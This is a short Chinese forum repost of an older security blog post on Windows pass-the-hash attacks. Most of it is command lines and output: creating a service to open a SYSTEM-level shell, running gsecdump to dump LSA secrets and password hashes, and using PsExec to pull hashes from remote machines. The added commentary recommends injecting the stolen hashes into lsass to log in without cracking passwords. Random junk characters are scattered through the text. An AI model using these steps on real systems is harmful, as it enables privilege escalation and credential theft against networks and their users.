HASH注入式攻击

admin

o get a DOS Prompt as NT system:

C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS
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C:\>sc start shellcmdline
[SC] StartService FAILED 1053:
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4 q$ `8 Q, u+ s7 V8 o1 b) ^: oThe service did not respond to the start or control request in a timely fashion.
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C:\>sc delete shellcmdline
[SC] DeleteService SUCCESS
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------------
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Then in the new DOS window:
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" D- _3 l9 ]- s$ @, X9 |Microsoft Windows XP [Version 5.1.2600]
: J: t, G+ b' w+ |0 M(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>whoami
3 m0 `( H2 \0 kNT AUTHORITY\SYSTEM

C:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
usage: gsecdump [options]

options:
( Q) f3 G$ d6 G5 N-h [ --help ] show help
-a [ --dump_all ] dump all secrets
* d2 M3 v( f4 W( [-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
6 Z) x0 U3 k2 F. H5 c/ i; y+ P( u-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD
' ^, T5 p3 k- }, A% n
+ ?) y% x- H' u0 V0 sAlthough I like to use:

PsExec v1.83 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
( e3 J! s+ n1 r& F3 f' ^+ D) W) \Sysinternals - 链接标记[url]www.sysinternals.com[/url]
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: |, R! J' w; q0 e/ Q! \C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
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; H" G% Y* ~2 }. Z4 w9 ]to get the hashes from active logon sessions of a remote system.
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4 s( N0 A5 r2 c( WThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
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提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
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我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。